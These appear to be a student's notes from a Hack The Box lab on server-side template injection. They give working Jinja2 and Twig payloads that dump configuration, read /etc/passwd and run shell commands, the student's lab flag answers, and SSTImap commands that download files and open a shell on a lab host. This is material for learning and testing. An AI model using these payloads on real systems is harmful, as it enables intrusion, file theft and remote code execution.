SSTI
Identifying SSTI
Identifying the Template Engine

Injecting the payload ${7*7}
into our sample web application results in the following behavior:

Since the injected payload was not executed, we follow the red arrow and now inject the payload {{7*7}}
:

Therefore, we follow the green arrow and inject the payload {{7*'7'}}
. The result will enable us to deduce the template engine used by the web application. In Jinja, the result will be 7777777
, while in Twig, the result will be 49
.
PoCs - Questions
Apply what you learned in this section and identify the Template Engine used by the web application. Provide the name of the template engine as the answer.
{{7*7}}

Exploiting SSTI - Jinja2
Jinja is a template engine commonly used in Python web frameworks such as Flask
or Django
. This section will focus on a Flask
web application. The payloads in other web frameworks might thus be slightly different.
Information Disclosure
We can obtain the web application's configuration using the following SSTI payload:
{{ config.items() }}

We can use the following SSTI payload to dump all available built-in functions:
{{ self.__init__.__globals__.__builtins__ }}

Local File Inclusion (LFI)
We can use Python's built-in function open
to include a local file. However, we cannot call the function directly; we need to call it from the __builtins__
dictionary we dumped earlier. This results in the following payload to include the file /etc/passwd
:
{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}

Remote Code Execution (RCE)
We can use functions provided by the os
library, such as system
or popen
. However, if the web application has not already imported this library, we must first import it by calling the built-in function import
. This results in the following SSTI payload:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

PoCs - Questions
Exploit the SSTI vulnerability to obtain RCE and read the flag.
First i see if the function 'builtins' is available:
{{ self.init.globals.builtins }}

Then, we will import the os module:
{{ self.init.globals.builtins.import('os') }}
And we can execute a command -->
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls -la /').read() }}
Exploiting SSTI - Twig
Information Disclosure
In Twig, we can use the _self
keyword to obtain a little information about the current template:
{{ _self }}

Local File Inclusion (LFI)
Reading local files (without using the same way as we will use for RCE) is not possible using internal functions directly provided by Twig. However, the PHP web framework Symfony defines additional Twig filters. One of these filters is file_excerpt and can be used to read local files:
{{ "/etc/passwd"|file_excerpt(1,-1) }}

Remote Code Execution (RCE)
To achieve remote code execution, we can use a PHP built-in function such as system
. We can pass an argument to this function by using Twig's filter
function, resulting in any of the following SSTI payloads:
{{ ['id'] | filter('system') }}

Further Remarks
PoCs - Questions
Exploit the SSTI vulnerability to obtain RCE and read the flag
{{ ['cat /flag.txt'] | filter('system') }}
SSTI Tools of the Trade
Tools of the Trade
eldeim@htb[/htb]$ git clone https://github.com/vladko312/SSTImap
eldeim@htb[/htb]$ cd SSTImap
eldeim@htb[/htb]$ pip3 install -r requirements.txt
eldeim@htb[/htb]$ python3 sstimap.py
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.2.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state, and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 5; engines: 17; legacy_engines: 2
[*] Loaded request body types: 4
[-] SSTImap requires target URL (-u, --url), URLs/forms file (--load-urls / --load-forms) or interactive mode (-i, --interactive)
To automatically identify any SSTI vulnerabilities as well as the template engine used by the web application, we need to provide SSTImap with the target URL:
eldeim@htb[/htb]$ python3 sstimap.py -u http://172.17.0.2/index.php?name=test
<SNIP>
[+] SSTImap identified the following injection point:
Query parameter: name
Engine: Twig
Injection: *
Context: text
OS: Linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, php code
As we can see, SSTImap confirms the SSTI vulnerability and successfully identifies the Twig
template engine. It also provides capabilities we can use during exploitation. For instance, we can download a remote file to our local machine using the -D
flag:
SSTI Tools of the Trade & Preventing SSTI
eldeim@htb[/htb]$ python3 sstimap.py -u http://172.17.0.2/index.php?name=test -D '/etc/passwd' './passwd'
<SNIP>
[+] File downloaded correctly
Additionally, we can execute a system command using the -S
flag:
eldeim@htb[/htb]$ python3 sstimap.py -u http://172.17.0.2/index.php?name=test -S id
<SNIP>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Alternatively, we can use --os-shell
to obtain an interactive shell:
eldeim@htb[/htb]$ python3 sstimap.py -u http://172.17.0.2/index.php?name=test --os-shell
<SNIP>
[+] Run commands on the operating system.
Linux $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux $ whoami
www-data
Last updated